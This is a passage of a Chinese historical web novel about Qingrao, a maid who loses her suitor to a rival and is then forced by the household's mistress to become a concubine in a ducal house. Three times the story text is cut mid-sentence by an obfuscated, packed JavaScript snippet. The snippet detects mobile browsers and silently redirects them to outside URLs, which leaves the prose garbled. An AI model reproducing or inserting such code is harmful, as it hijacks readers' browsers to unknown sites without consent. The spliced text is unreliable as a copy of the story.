“咱们家的事?咱们家能有什么事?这不是正要办喜事了吗……”她讷讷地道,却是越说越心虚。说是喜事,可她那个倔儿子却是半点不肯松口,耽误了好几日,碧荷请了大夫人出面,也是有可能的。 齐诚做事却没有这么心存侥幸,他叹了口气,将打听到的事说给她听:“……闹得沸沸扬扬,现在都在说,你在府里的丫鬟里挑三拣四,故意打大夫人和四姑娘的脸。” 袁氏一听,腿都软了。 她的确是看见了碧荷后生了换人的心思不假,但她也没敢在外头张扬说她原本想提的是庄青娆啊! 事情怎么会闹成这样! 那庄青玉,怎么敢当众将碧荷打了一顿,那碧荷好端端的,又怎么会想不开去跳湖? 她只觉得眼冒金星。他们家虽说是脱籍了,可在外头生存靠的全是陈家的余荫,供养齐和书读书,光是回乡应试吃住的费用就花了十余两,更不用提每年给先生的束脩节礼……若是没了陈大老爷的看重,他们去哪里捞银子,一家子日后可怎么活! 说白了,大老爷和大夫人手底下并非只有他们一家得力的,不过是当年她家齐诚救了老爷,这才有了这样机缘。 可地位悬殊,救命恩情早用脱籍和陈家这些年的青睐抵消了,如今为了儿子的婚事将陈府里闹成这样,就是陈大老爷念旧情饶过他们,大夫人那一关却不好过。 齐诚见她神色不似作伪,这才信了媳妇没有蠢笨到故意在外头说他家瞧不上庄青娆。 “罢了,明日一早,你就带着和哥儿进府里去给夫人赔罪。”齐诚当机立断,再不纵容家里这些时日的胡闹,“这一次去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086004|149080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一定要把和碧荷的婚事定下来。” 开弓没有回头箭,既然已经选择了碧荷,就不可能再回头去求庄家。且庄管事的为人他知道,恐怕此刻即便他们心意转圜,对方也不会再答应。 大夫人和四姑娘之间,自然还是以大夫人为重。 …… 门外,齐和书面色惨白,眼里的光彻底熄灭了。 * 夜色低垂,陈府外院回事处的管事熟门熟路进了外书房。 隔着帘子,隐隐瞧见大老爷正负手立在窗前,不知在想些什么,连来人了都未曾发觉。他悄悄地和书房的小厮打听,得知大老爷这样时不时走神的情形已经有好几日了。 他微微松了口气,不是撞上老爷心情不好便好。 “禀老爷,门房上来报,大姑爷着人送来了一封帖子,道后日一早要登门拜访。”管事弯着腰,拱手将烫金的帖子呈上。 陈弘章回过神,展开洒金线笺,入眼的便是周绍龙飞凤舞的大字。 他拢起了眉头。 英国公府虽然远在襄州府,但他和这位大女婿碰面的机会却不少——他是太子年幼时的伴读,情分甚笃,一直很得东宫看重,进京办差是常有的事。 饶是如此,岳婿二人却也算不得亲近。 一方面周绍到底贵为宗亲,身上的傲气不比那些斗鸡走狗的纨绔少;另一方面,他私心里想着,或许也是有当年沈氏没有及时将母亲去世的信儿递去襄州,以至于元娘没能赶上祖母出殡心中一直有埋怨,这两年里和娘家来往得都少了的缘故。 若是因为后者,反倒能佐证夫妻二人情分不浅,叫他心宽。 长女出生时,他是初为人父,故而到底和别的女儿不同。 他对元娘,一直很有几分真心的疼爱。 当时选定周绍这个女婿,因着宗室规矩大,他也是考虑了又考虑,但周绍实在一表人才,又是太子心腹,可谓前程远大,论起小儿女的脾性,也是颇为相合的,他这才点头应了这门亲事。 但如今,长女却是在国公府坏了根底,眼看着人就要熬不住了,届时只留下一个尚不知事的幼子,叫人揪心不已。 这些时日,沈氏在他耳边不断哭诉他母亲挑的这门亲事害了元娘一辈子,他心里也不是没有过动摇和后悔…… 深吸了一口气,陈弘章又忽然问:“这帖子是什么人送来的?” “是个宫里的内侍呢。说是国公爷这几日一直在东宫侍疾,都不曾回过京城的别院。” 襄郡王和英国公作为宗室子弟,虽然藩地在襄州一带,但在京城也是有御赐的别院的。按照规矩,若是英国公在别院住,身边是不能使动内侍的。 “知道了。”陈弘章颔首,管事便弯着腰退下,独留他一人看着手里的帖子,眸中神色渐渐幽深。 四娘前几日石破天惊的一番话,现在还在他耳边作响。 而眼下这样风口浪尖的时候,旁的宗室唯恐避之不及,周绍却寸步不离地在东宫侍疾,当真是因为君臣之义? 还是……过人的胆魄和野心? 16. 第 16 章 青娆没有在家中歇息太久,第三日便又回了九如院伺候。 出了这档子事,从前又敬又畏地看着她的丫鬟婆子不免换了面孔,脸上尴尴尬尬地笑着打招呼,背地里又忍不住低声议论。 但她只是挺直了脊背,丝毫没有将这些话放在心上。 她娘崔氏打她年幼时便教导她,所谓的声名和闺誉,都是当权的男人用来限制女子作为的手段。 世道艰难,严苛繁琐的规矩架在女子们身上,她不能轻易违背以免世人攻讦,所以面上循规蹈矩就是。但真出了什么事情,也不该自个儿先将自己贬到了泥污里,觉得丢了体面,不配再活。 就连哭哭啼啼去跳湖寻死的碧荷,也不是真的想死,只不过用此伎俩来拿捏齐家罢了。 人活着,多么宝贵,怎么能被几句议论逼得不敢好好过日子。 这样的话,在幼年的青娆听来,是很离经叛道的。但听的时日长了,读的书多了,她也慢慢赞同起来。 也是因此,慢慢生出了要跳脱出陈府,让一家子脱了奴籍正正经经抬头做人的心思。 九如院里的人见青娆姐姐和往常一样,仍旧宽严相济,恩威并施地管着院儿,四姑娘待她也是一般无二地信重,主仆二人都丝毫没将此事放在心上似的,心里那些奚落的小心思也就渐渐散了,规规矩矩地服着管束。 只是等到齐家一家人连着好几日进府求见大夫人,百般哀求地让大夫人将碧荷许给他们家,便有不速之客还是登上了门。 “袁婶子上门来说,道是她会错了当家人的意思,以为要求的是碧荷姐姐,这才在夫人面前开了口。可碧荷姐姐从头到尾,是半点不知晓齐家从前往你们家透过意思的,既然这样,青玉姐姐当日又何必咄咄逼人,将碧荷姐姐打成那样?” 说话的人是大夫人房里的灵芝。她生着一双丹凤眼,小小年纪已经在夫人房里练出了盛气凌人的气势,说话的口气,像是在训斥一个粗使的仆妇。 袁氏忍着屈辱一力担下,青娆并不奇怪。事情发展到了今日,他们想将碧荷娶回家,只能全了碧荷的脸面。但同样的,他们也不敢来招惹她,毕竟,这些年齐和书不知道有多少东西落在她手里。 若真是扯个不着边际的慌,道二人毫无关联,也得防着她破罐子破摔,故而道是齐诚先前给他爹透过意思,撇去了齐和书私相授受的罪名,也解释了庄家为什么会有这样激烈的反应。 有了这样的台阶,顺坡下就是了,偏碧荷还不甘心,记恨着青玉揍她的一顿,想要逼着她也低头认个不是。 青娆二人坐在茶房里,门大开着,探头探脑想听个分明的丫鬟婆子不少。 青娆就扯唇笑了笑,可眸中却没有半分笑意:“说来这事误会也真是多。袁婶子误会了当家人的意思,我们家也误会了碧荷姐姐的清白。” 灵芝听到这儿,眼中闪过一抹得意,还以为自己逼得庄青娆服了软,谁知对方话锋一转,眸光犀利地望过来:“但当日的事,任谁看谁都要误会。碧荷的表妹舒馨,姑母曾婆子,那日可都在传我的谣言,说是……我一厢情愿?也不知道,她二人的消息,是从哪来的。” 灵芝脸色一变,顿时不敢吭声了。 她打量着庄青娆那日昏过去了,外头的事恐怕不知道,这才奉了碧荷姐的命过来踩踩她,好全一全碧荷姐的颜面。 谁晓得,这庄青娆瞧着弱不禁风身子骨都没养好,却对她们花钱散布谣言的事儿都一清二楚,这话要是传到夫人耳朵里,夫人恐怕又要恼碧荷姐了。 “这谁知晓,那二人一向长嘴长舌的,也不知是哪里听来的冤枉话。”灵芝立时换了一副面孔,一脸愧疚地道,“原也是碧荷姐姐被他们连累,受了这无妄之灾,青娆姐姐你大人有大量,别和她们计较。”又咬着牙,从头上取下一支银簪子当做赔礼,“今日是妹妹说错话了,姐姐别往心里去。” “在我面前说错话没什么,可夫人跟前,还是要小心服侍。”青娆似笑非笑。 而后端起杯盏,喝了一口茶水,对方就灰溜溜地离去了。 青玉为她当众打了碧荷,到底失于莽撞,她一有精神就让人去打听了前因后果,好给姐姐托个底。嚼舌的妇人能在那样短的时间内传得满府皆知,做了事,岂能不留下蛛丝马迹?她手里捏的东西,就是为了以防万一,倒没想到碧荷真敢打上门来指鹿为马。 他们庄家,就没有泥捏的人。碧荷想让她吃下这个哑巴亏,是全然打错主意了。 * 齐家人上门求见后不久,两家原先阻滞的亲事便又重新提上了日程。 青玉听说后啐了一口,不屑地道:“洞房花烛夜,齐和书身上的伤指不定还没好全呢,倒这样心急,不怕叫人耻笑!” 青娆颇为无言地看了她一眼。郑安将齐和书套了麻袋揍了一顿的事她自然知晓了,只是不知道他将人打得这样重,不免问了一句:“那几日他们进府,府里的人没瞧出什么来?” “他家好面子,哪里肯说是做了亏心事挨揍了,走路一瘸一拐,也不过是推脱道不小心摔了一跤。”青玉洋洋得意,很是满意郑安的手段,“反正郑安下手避开了脸、脖子和手,断不会叫人轻易看出来。” 青娆松了口气,只要没有明面上的把柄,就不怕被人顺藤摸瓜惹了祸事。 青玉一面说,一面注意着妹妹的神情,见她真不关心那负心郎身子的好坏,这才放下心来:怕就怕她瞧着淡然,心里却割舍不下,等两人成亲的时候万一再闹出什么,那才真是难以收场。 好在,她妹妹就是她妹妹,一如既往,快刀斩乱麻。 青娆确实也在想着切割的问题。 这些年,她和齐和书的相处其实并未越界。即便是赠送礼物,也都是有来有回,价值相称,唯一格外贵重些的,大约是前些时日齐和书送她的簪子。 但那日她有些高兴,没留神便戴着它进了院儿,被好几个丫鬟瞧见过。上了头的首饰再还回去,落在外人眼中还不知道要说什么难听话。 于是她想了想,从自己的私房里拿出十两的银锭子,抽空托了上门卖货的廖五郎给齐和书带过去。 廖五郎看见这样大的银元宝很是吃惊,这样分量的银子,都够他家三口人一年的嚼用了,还是颇为丰盛的那种。 心里更是感念青娆如此信任他,欢欢喜喜地应了。青娆见他这样的神情,微微莞尔。 廖五郎是在官府上了册的走卒,这才能日日跑到富贵地界做官员府邸的生意,若是为了这十两银子铤而走险,丢了这长年累月的好处,不免不值。且跑得了和尚跑不了庙,她连他家住在何处都一清二楚,若是他真动了心思,无疑是置家里人于不顾,这与他平日里的作为更是不符。 用人不疑,疑人不用。她托人帮忙,也给了五十文的跑腿费,两厢里坦坦荡荡,廖五郎就高高兴兴地收了。 一并带去的还有她的口信。 “自此以后,两不相欠。” 让齐和书对她死心塌地,的确是有算计的成分,但她也帮过他不少,陈府藏书楼里价值不菲的珍本,她借着姐姐的便利,偷偷给他抄过好几本送出去。 二人走到今天的地步,她自问无愧于心。 是他负了她。 …… 陈府里,大夫人的病渐渐好全了,府里也逐渐归于平静。 谁知这一日晨起,正院里大夫人和大老爷却忽然吵了一架,吵的什么连贴身伺候的大丫鬟都不知晓。只知道,大夫人素日里最爱的翡翠镯子都被她拍在桌上碎成了几截。 四姑娘早饭只用了一碗薏仁黄米粥,听见消息立时就放了筷子:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14094054|149080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我去瞧瞧,你们都不用跟着。” 大夫人和大老爷常有拌嘴不假,但吵成这样还是很少见的。想起近日大夫人风风火火做的事,青娆不免想是否是为了四姑娘的婚事,才致使两人有了分歧。若是如此,四姑娘脸皮薄,不愿让她们听见,也是有的。 是以青娆只是笑着应了一声,没怎么放在心上。她心里在想着自己的事:齐和书这事一出,她的名声多少被坏了些,恐怕一时半刻地很难找到合适的夫君,且成婚又如何?两人若都是奴籍,日后过的仍旧是没有指望的日子。只是,断了齐家这条路,想达成她的愿望,却是千难万难了。 …… 陈阅微进去的时候,沈氏正独自跪在西间的小佛堂里念经。 她的脚步声很轻,沈氏却更敏锐,一瞬间便用极其尖锐的声音开口:“不是说了谁也不许进来吗?滚出去!” “娘。” 听见声音,沈氏才回了头,满脸的防备与失望卸下,红了眼睛站起身来一把将幼女搂在怀里:“我的微微,你怎生这样命苦!你可知,你爹得了失心疯,竟要将你、将你许给英国公做续弦!” 此言一出,陈阅微的眉梢松了松,拉着母亲的手到桌边坐下,柔声问:“母亲觉得这婚事不妥?” “当然不妥!”沈氏根本不用思考,斩钉截铁地将自己的不满意重述:“你长姐便是被那家人害得年纪轻轻就毁了身子,你是娘的心肝儿,娘怎么舍得你嫁去那家受苦?” “娘,长姐是生了病,哪里是人家害了她?她一向聪慧,在生鹤哥儿之前,把国公府打理得井井有条,哪个通房妾室敢在她面前大声说话?”陈阅微又将亲爹给她相看的那些人家一一说了,叹了口气,“依女儿看,一样是做续弦,与其去那些火坑,倒不如去英国公府。” 沈氏也没想到,陈弘章没和她商量,在外头看的是这样的人选。这样的人家,富贵是有了,可内里都是腌臜一片,幼女性子纯真,她只想让她安稳一生,没打算将她推出去为家族利益牺牲。再说了,陈弘章不是还有好几个庶女吗? “你若是不满意这些人家。照娘的主意,就在京城那些四五品官的家中给你选一个家风正、人品好的嫁过去,怎么也不会委屈了你……” 四姑娘的神情有些无奈:“娘,我觉得英国公府就很好。我和长姐是亲姐妹,没有人比我更合适做姐夫的续弦,一旦嫁过去,鹤哥儿不会再有性命之忧,英国公府的门第,也足够我富贵一生。” 闻言,沈氏皱着眉头:“鹤哥儿是重要不假,可在娘心里,别说是他,就是你长姐,也不比你重要。你不能为了照顾鹤哥儿,牺牲自己的下半辈子。”她这话说得直白,但她一向也不遮掩,两个女儿之间,她的确是更偏心幼女不假,毕竟,这些年承欢膝下的女儿,只有幼女一个。 “我并不是为了鹤哥儿。”四姑娘轻轻摇头,说出的话让沈氏身子一震:“娘,是因为我不想低嫁。” “比起父亲提的那些人家,姐夫无论是才华、人品、门第还是前程,也都比他们好。有了长姐这一层的情面在,日后只要我不犯大错,姐夫也不会不尊重我。女儿一直在想,长姐的名字能上宗室玉牒,难道我就不能吗?难道在娘的心里,我就一定要比长姐矮上一头吗?” 沈氏不可思议地望着女儿,头一次明白她心里想的并不是小富即安。还未来得及生出别的情绪,陈阅微又抱住了沈氏,哽咽道:“这世间的男儿都大抵是要负心的,所以女儿想,既然无论如何都求不得一心人,倒不如让自己日子过得快活些。” 这话让沈氏想起了死在金水河的黄公子,她默了默,到底是心里的愧疚淹没了其他情绪,终是点了点头。 四姑娘在娘亲怀里撒了会儿娇,临走前,又甩下一句石破天惊的话:“娘,我想将我屋里的青娆送去长姐身边。” 17. 第 17 章 明日府里有客,大晌午的便开了库房,正院里的丫鬟仆妇鱼贯着进进出出,珠帘玉瓶、香片铜炉样样都换了上好的样式,叫人暗叹这簪缨之家的底蕴。 青娆本要去院里上值,走了一半被正院的丫鬟笑嘻嘻喊住了:“姐姐可有空儿?这是夫人屋里要的,有些沉手,不如给我帮把手,正巧夫人上午还说要抽个空见你呢。” “夫人要见我?”青娆吃了一惊,心里有些忐忑。 九如院里伺候的下人,在四姑娘年幼时还常常被夫人喊去屋里问话,但如今姑娘主意大了,做娘的就不好事事过问了。否则,也有损她做主子的威严。 青娆心里打鼓,不知是为了姑娘的事儿,还是她自个儿的事。碧荷挨打那事,夫人虽轻轻放下了,心里恐怕到底不满。 便上前去帮着那丫鬟托着粉彩花鸟大玉瓶的底儿,小心谨慎地送去了正院夫人屋里。只可惜这丫鬟嘴颇紧,青娆一路上什么也没打听出来。 沈氏正站在厅堂里指挥丫鬟婆子,青娆二人来的时候,屋里已经换得差不多了。 襄州府鱼米丰硕,襄郡王府和英国公府在那地界安稳几十年,更是滔天的富贵。她心里存着事儿,更不愿意在大女婿跟前露怯。屋里摆得金碧辉煌,多少能增添些她心中的底气。 见差不多了,沈氏便摆摆手让闲杂人等退下,只留下心腹周妈妈和青娆。 青娆便跪着规规矩矩给大夫人行了礼:“奴婢给夫人请安。” 沈氏坐在上首,目光犀利地打量着她。 少女跪在地上,身姿挺得笔直,分明是端庄的仪态,但视线落在那被朱色丝绦系起的细腰和如象牙般白皙的颈子上时,却又多了醇柔媚骨的别样味道。 从前没注意,今次见了才知,这竟是个千娇百媚的美人儿,倒怪不得,哄得齐家那小子方寸大乱,闹得人家中不宁。 大夫人微微颔首。 幼女说的不错,这样的美人儿,送去英国公府,一定能分方姨娘的宠。 “起来吧。”她笑笑,赐了个小杌子给青娆坐,又使了个眼色给周妈妈。 周妈妈便从内室拿了个小托盘出来,日光下明晃晃的,竟是一盘银锭子。 “袁氏说此事是她的过错,牵累了你的名声,实在是过意不去。所以,那日特意留下了三十两纹银当做赔礼。我本叫她自个儿送去,可她非说这样又会招来私相授受的嫌疑……” 大夫人面上带着笑,语气也很温和,青娆听了脸上却火辣辣的。 她从前和大夫人打过无数次交道,心间再明白不过,大夫人面上说的是袁氏如今懂规矩了,实际则是在敲打她,在齐和书的事情上,私相授受,太不懂规矩。 青娆深吸了一口气,又一脸战战兢兢地跪了下来:“奴婢不懂事,先前牵累了四姑娘,已然是大错特错了,夫人能饶恕奴婢是奴婢的福气,再不敢收什么赔礼。” 沈氏目中的笑意就增添了一分。 还算忠心,幼女倒是没有看错人。 否则,跃出庭院的风筝,哪里还能看得着它往什么方向飞。 这才亲自将她扶起来,劝她在杌子上坐下,氛围轻松地问起她家中的人和事,亲和得如同长辈与小辈寒暄似的。 青娆的心中却渐渐升起恐慌。 她多少算是做了错事,带累了四姑娘,照大夫人的性子,不罚她就算是开恩了,又怎么会待她这样客气? 论了几句家常,果然听大夫人话锋一转,问:“我记得,原先在大厨房当差的万妈妈,是你的祖母?” “禀夫人的话,正是,只是祖母已经仙去好几年了。” “老夫人在的时候,一向喜欢她治的鸭菜。”大夫人的眸中似乎染上怀念之色,目光再转圜时,便笑道:“既是万妈妈的孙女,想来也是个有手艺的。你也知晓,家里大姑娘身子有些不好了,小公子又体弱多病,食膳上没个妥帖的人,我实在放不下心。待我去襄州看望大姑娘时,你便随我一道去,日后就留在国公府伺候,可好?” 青娆愕然。 起先听了个话头时,还当是大夫人不满她不安分,准备借个由头将她从院子里赶到厨房去,可听完这话,却不是那味儿——仿佛只是因为她够忠心够妥帖,才将她派去那地界。 她下意识就要拒绝:“奴婢并非不识抬举,只是四姑娘那里一时没有妥帖的人能接奴婢的活计,换个人来伺候得不周到,姑娘不免着恼。且大姑奶奶见了奴婢,恐怕也不会轻易受下,怕被人说夺四姑娘的丫鬟。” 虽不明白大夫人的用意,但她还有四姑娘做靠山,大夫人不会不明白,她忠心的对象只是四姑娘而非陈府的所有主子。这些年,大姑娘眼看着母亲如此宠爱幼妹,心里也不会没有想法,不见得会用幼妹身边的人。 “你这丫头倒是忠心,不过你家姑娘那儿我自会安排妥当。至于大姑娘那里……好办,便叫你在正院当一段时日的差,日后便是我身边出去的丫鬟,她也不会说甚么。” 青娆心一沉,她微微抬起头,扫视了一圈大夫人面上轻松的笑意,又试探地道:“可奴婢粗笨,厨艺恐怕不及祖母一半,大姑奶奶只怕用着不欢喜。” 沈氏眯了眯眼,青丝上戴着的红宝石赤金鬓花随着她说话的幅度闪着熠熠光辉:“大姑娘也不是挑嘴的人,你尽心伺候着,不叫宅子里那起子货色冲撞了便好。” 也就是说,送她去当灶娘根本就是无关紧要的幌子,她的厨艺好与不好,都不影响大夫人的决断。 可,既然如此,为什么非要送她去? 青娆不禁咬了咬下唇,想问又不敢问出来,水润的唇瓣渐渐染上血色般的殷红。 天生的狐媚子。 沈氏心想。 年岁还这般小,就有如此风情,照她看,这陈府里所有的妾室通房年轻的时候都不如她貌美。 青娆就见大夫人抚着鬓,从满头珠翠里挑拣出一支缠丝赤金簪子,插在自己的头上。 “正年轻,生得又这样好,也该多打扮打扮,穿得这样素雅做什么。” 此言一出,青娆面上的血色瞬间褪尽,立刻明白了大夫人的意图。 做灶娘的,烟熏火燎,哪里需要穿金戴银地打扮?姑奶奶身边妖妖艳艳的,不是想放着给男主人收用的,哪里还能活到第二日。 青娆从来没想过走这条路。不止是因为她娘崔妈妈极力反对,也是因为这与她的念想简直背道而驰——开了脸做姨娘的确是比下人风光了,可照样要在正室夫人身边立规矩,穿衣吃饭、捏脚捶背,能使丫鬟做的,都能使妾室服侍。 明面上,通房姨娘借着主君脱离了那张薄薄的卖身契的束缚,实则却坠入了更难用外力挣脱的大网。 世俗礼教,尊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14115569|149080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卑贵贱,将为妾者钉在大妇制定的条条框框里,终身不得逾越。 陈府生下三少爷的王姨娘受宠多年,可大夫人一病,她还是得像个小丫鬟一样,亲力亲为地替她熬药侍疾。 沈氏见她神色,便知她是明白了,索性把话摊开了讲:“你是个懂事的,这些年帮着四姑娘将院子打理得井井有条,又读过书写过字,和普通的丫鬟比又胜上不止一筹。国公府里不太平,方姨娘仗着出身受宠,眼下怕是又有了身孕,眼见姝儿病重,难免要起不该有的心思。你待在国公府,要做的只有两件事。一是分方氏的宠,不可让她独大;二是帮着大姑奶奶照料好鹤哥儿,防着贱蹄子害他。其余的不必你多管……待日后新主母进府,自有你的好前程。” 一桩桩一件件,沈氏越往下说,青娆的脸儿越白。 大夫人想得这样明白,是打定了主意要叫她去了。 可她不愿,她不愿就这样被人挟制着过一辈子!纵然如此会令主家厌恶,她也不得不为自己争一次。 “夫人,奴婢从来没有过这样非分的心思,一心只想着嫁人后仍旧安安分分帮府里做事。奴婢的爹服侍老爷十来年了,奴婢的娘也在老夫人房里忠心耿耿,万望夫人看在奴婢一家子一向服侍主子用心的份儿上,给奴婢赐个管事小厮的做郎君,叫奴婢还能在爹娘跟前孝敬,就是奴婢天大的福分了。” 在她眼里,哪怕是今日随便许了小厮发嫁出去,也比被这样突然地送去襄州府要好。 她跪在地上磕头,姿态恭敬,落在大夫人耳里,却有些奴大欺主的意味。 在外院服侍老爷又如何?服侍过老夫人又如何?再体面的奴仆,也只是奴仆,主子有令,只有遵从的份儿。 她心间冷笑,面上却柔和:“我明白你的孝心。放心罢,你们一家子都在府里做活,再老实本分不过,等你走了,我自然会好好看顾你爹娘和你姐姐。说起来,你爹年纪也大了,在外书房服侍难免受累,若是你心疼他,不若下个月我便将他换个清闲些的差事,也好养养身子?” 大夫人看着她,这次,她没有半点要让她起来的意思。望着她的模样,犹如在看一只作困兽斗的蝼蚁。 青娆只觉得浑身的血液都僵住了。 陈家大夫人,并不是只能在内宅伸手的妇道人家。她出身世家,不论样貌品行如何,都会得到夫君的尊重。正因如此,一直在外头行走的齐诚才会被她一句话换下掌柜的差事,迫不得已带着家小进府谄媚讨好。 被放了奴籍的旧仆尚且如此,卖身契被捏在她手心里的庄家人在她眼里,更是不值一提。她提起庄管事,并非是好心,而是在敲打威胁她。 她以为的那些旧情,不足以让陈家的宗妇有丝毫顾忌。甚至,只要她愿意,哪怕明日府里无声无息地少了一房人,也不会有人议论。 青娆舌尖苦涩,心底那点残存的希望犹如被雪水浇淋,半晌,她额头贴在地上,喉头满满地滚出一句:“奴婢,听命。” 沈氏的脸上才现出点点笑意。 一时说要请绣娘进府给青娆做几身新衣裳,一时赏下缎子、首饰和银两,青娆低着头站在那儿,像个精致的木偶人,一举一动由他们摆布。 只是等抱着赏赐要退下的时候,她忽然问了一句: “方才没想起来问夫人,不知道国公府的新主母,定了何人?” 18. 第 18 章 夜色茫茫,青娆提着一盏红灯笼,步子趔趄地进了九如院。 守院门的婆子见她脸色苍白,忙扶了一把:“哎哟,庄管事您这是怎么了,脸色这样不好看?” 青娆只盯着屋里微弱的光亮,问:“姑娘还没有歇下?” “从夫人那里回来就哭了一场,吓得房里的几个姑娘晚饭都没敢用几口。说起来,方才她还问起管事您呢。” 青娆没有说话,径直往屋里去。 房里起了一对烛,红湘背对着门口,正拿了热鸡蛋给四姑娘敷眼睑:“姑娘下晌哭得这样厉害,明日眼睛若肿了,见客失了礼可怎么好?” “若是失礼,不如不见。”四姑娘的声线有些紧绷,对来客似乎有着敌意。 听这话,显然是知晓了明日客人的身份。 青娆灭了灯笼放在架子上,发出了声响,主仆二人才注意到她的到来。还未来得及说什么,青娆就熟稔地接过红湘手里的鸡蛋,道:“我来吧。” 红湘愣了愣,反应过来她有话和姑娘说,又看了一眼姑娘,这才福身退下去,关上了门。 “你的手怎么这样凉?”冰冷的指尖触着四姑娘的脸颊,她下意识瑟缩了一下,接着嗔怪地趿着鞋下了榻,拿起自己的斗篷给她穿上,“先暖暖身子。” 万字流云的妆花斗篷,何其精致名贵,她就这样毫无芥蒂地披在自己这个丫鬟的身上,好似她们真像亲姐妹似的。 青娆自幼在四姑娘身边服侍,受的赏赐、得的恩遇都是同期的小丫鬟里最重的,所以纵然她对婚事有自己的算计,却也从不会让外人妨碍四姑娘的利益。 论起主仆情意,她觉得自己算得上忠心耿耿。正因如此,此刻她手心攥紧了斗篷的边角,声音缓慢而平稳:“姑娘,今日夫人喊了我去,叫我去国公府做大姑爷的通房。” 平铺直叙,不带任何隐瞒。 大夫人没有回答她的问题,但没有回答,已经充分说明了一切。 她之所以要被送去国公府,不仅是为了分方姨娘的宠,也不仅是为了给小公子的生命多一层保障,更重要的是,她要为将来的国公继室夫人固宠。因为,那个继室夫人,会是四姑娘。 只有四姑娘,会让大夫人心甘情愿地百般算计她一个下人,而不嫌丢脸。也只有她庄青娆,有资格成为四姑娘提前埋在国公府里的眼线和心腹,忠心不二地为她的利益筹谋。 可她只好奇一个问题,她要被送入国公府的事情,究竟是大夫人爱女心切一心孤行,还是四姑娘为了自己的利益默许、甚至推动大夫人如此? 若是寻常的丫鬟,或许会为有这样的机会飞上枝头而欢欣鼓舞,可四姑娘一向知道她的志向,她一向知道,她不想为奴为妾,只想要一个自由身。 青娆说罢,抬眸望着侧身坐在榻上的四姑娘,不错过她脸上的任何一个表情。 但四姑娘只是错愕地看着她,紧接着面色变得十分难看,推开她的手穿上外衣,便要趿着鞋往外跑。 这样冲动的举动让青娆高高抬起的一颗心缓缓放了下来,她拦住了她,问:“姑娘这是要做什么去?” “我去回了我娘,这怎么能行?我不需要她这样为我打算!爹给我选了那样的火坑,为的是家族前程,那牺牲我的一辈子也就够了,做甚么还要添上一个你!” 她是那样愤怒,叫青娆恍恍惚惚的一颗心仿佛有了主心骨。她很想像平日里一样,尽心服侍姑娘就好,万一惹了祸事,那就指望着姑娘替她出头,反正姑娘是那样得宠,说甚么就是甚么。 可理智却告诉她不可能。 大夫人将话说成那样,没给她半点转圜的余地,且方才四姑娘话里还提到了大老爷。家主做的决定,就连四姑娘也是一副不得不认命的态势,她一个小小的丫鬟,又能怎样兼顾保全全家和保全自己呢? 她拉紧了四姑娘的衣袖,闭了闭眼:“姑娘不必去了,夫人已经定了主意了。” 四姑娘看着她,眼睛渐渐红了,一把抱住她哭道:“青娆,是我对不住你。我早该将你放出去嫁人的,也不至于拖沓到今日惹来这祸事。” 早知今日,早知今日,若是这世上真能早知今日,她也不会如同被命运扼住了咽喉般一步步无路可走。 青娆心头苦笑着,叹世事无常。 知晓了姑娘没有故意背弃她,她满腔的愤怒没了去处,留下的只有孩子似的惶恐与无助,偏过头,噙满了水光的眸一闭,也坠下几滴泪来。 “……你放心,你是为了我才进国公府的,日后我们的荣华富贵便系在一起,有我的荣耀,便有你的好前程。”四姑娘拍着她的背,一边啜泣,一边安慰:“既然已经没有退路,青娆,你要做的,便是更争气一些。” * 翌日一早,英国公周绍就带着礼品登了陈府的门。 陈大老爷会同长子亲自接待了大姑爷,三人在书房里谈了许久,紧接着陈府便过府去请了国子监祭酒程喆程大人。 内宅里,余姨娘和三姑娘陈阅仪听说了消息,愣了好一会儿。 三姑娘早在去年就定了亲事,对方正是太子少师、国子监祭酒程喆家的嫡幼子程智。这门亲事,算得上三姑娘高嫁,故而一年里余姨娘侍奉大夫人愈发尽心,生怕哪里惹得大夫人不快,毁了这亲事。 实然这门亲事是陈弘章亲自给庶女定下的,大夫人并没有太多的话语权——陈家的大姑娘嫁到了宗室,其余的姑娘婚事自然水涨船高,剩下的嫡女先前被沈氏许了寒门,陈弘章便只好将还算端庄聪慧的庶女放在了眼里,替她选了程家。 可二人的婚期是在年底,因着大夫人不怎么上心的缘故,连嫁妆都只备了一半,这时候程家人上门来,余氏母女不免忐忑是否是生了变故。 她们存心去打听,却没打听出什么来,只因大夫人一直拉着四姑娘在屋里说话,压根没空见她们。 而青娆则在自家灶房里开了火,挽起了衣袖下厨。 平日里,偶尔亲自下厨是她的乐趣,可今日,她却绷紧了嘴角,半点笑意也没有。 四姑娘下午要去外书房给父兄送糕点,特意给她递了话。 她并没有给四姑娘下过厨,可四姑娘却似乎对她的手艺很有信心,还鼓励她道:“只要是你做的,他们一定会喜欢吃的。” 青娆却知晓自己的水平。 